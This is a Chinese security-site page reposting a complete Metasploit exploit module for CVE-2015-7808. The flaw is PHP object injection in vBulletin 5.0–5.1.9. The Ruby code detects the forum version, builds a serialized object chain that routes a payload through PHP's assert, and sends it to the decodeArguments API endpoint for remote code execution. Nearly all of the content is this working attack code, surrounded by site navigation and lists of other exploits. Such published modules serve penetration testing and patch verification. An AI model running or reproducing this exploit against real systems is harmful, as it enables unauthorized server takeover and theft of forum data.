首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
vBulletin 5.1.2 Unserialize Code Execution
来源:metasploit.com 作者:cutz 发布时间:2015-11-16  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin 5.1.2 Unserialize Code Execution',
      'Description'    => %q{
        This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9
      },
      'Platform'       => 'php',
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Netanel Rubin',  # reported by
          'cutz',  # original exploit
          'Julien (jvoisin) Voisin',  # metasploit module
      ],
      'Payload'        =>
        {
          'BadChars'    => "\x22",
        },
      'References'     =>
        [
          ['CVE', '2015-7808'],
          ['EDB', '38629'],
          ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
          ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
        ],
      'Arch'           => ARCH_PHP,
      'Targets'        => [
          [ 'Automatic Targeting', { 'auto' => true }  ],
          ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
          ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
      ],
      'DisclosureDate' => 'Nov 4 2015',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
        ], self.class)
  end

  def check
      begin
          res = send_request_cgi({ 'uri' => target_uri.path })
          if (res && res.body.include?('vBulletin Solutions, Inc.'))
              if res.body.include?("Version 5.0")
                  @my_target = targets[1] if target['auto']
                  return Exploit::CheckCode::Appears
              elsif res.body.include?("Version 5.1")
                  @my_target = targets[2] if target['auto']
                  return Exploit::CheckCode::Appears
              else
                  return Exploit::CheckCode::Detected
              end
          end
      rescue ::Rex::ConnectionError
          return Exploit::CheckCode::Safe
      end
  end

  def exploit
    print_status("#{peer} - Trying to inferprint the instance...")

    @my_target = target
    check_code = check

    unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
      fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
    end

    if @my_target.nil? || @my_target['auto']
      fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
    end

    print_status("#{peer} - Exploiting #{@my_target.name}...")

    chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
    chain << @my_target["chain"].length.to_s
    chain << ':"'
    chain << @my_target["chain"]
    chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
    chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"

    chain = Rex::Text.uri_encode(chain)
    chain = chain.gsub(/%2a/, '%00%2a%00')  # php and Rex disagree on '*' encoding

    send_request_cgi({
        'method' => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
        'vars_get' => {
            'arguments' => chain
      },
       'encode_params' => false,
    })
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sam Spade 1.14 - S-Lang Comman
·Idera Up.Time Monitoring Stati
·TUDU 0.82 - Local Stack-Based
·Idera Up.Time Monitoring Stati
·TACK 1.07 - Local Stack-Based
·ClipperCMS 1.3.0 - Code Execut
·FBZX 2.10 - Local Stack-Based
·XCart 5.2.6 - Code Execution V
·IBM Installation Manager 1.8.1
·foobar2000 1.3.9 - (.asx) Loca
·Jenkins 1.633 - Unauthenticate
·TECO SG2 LAD Client 3.51 SEH O
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved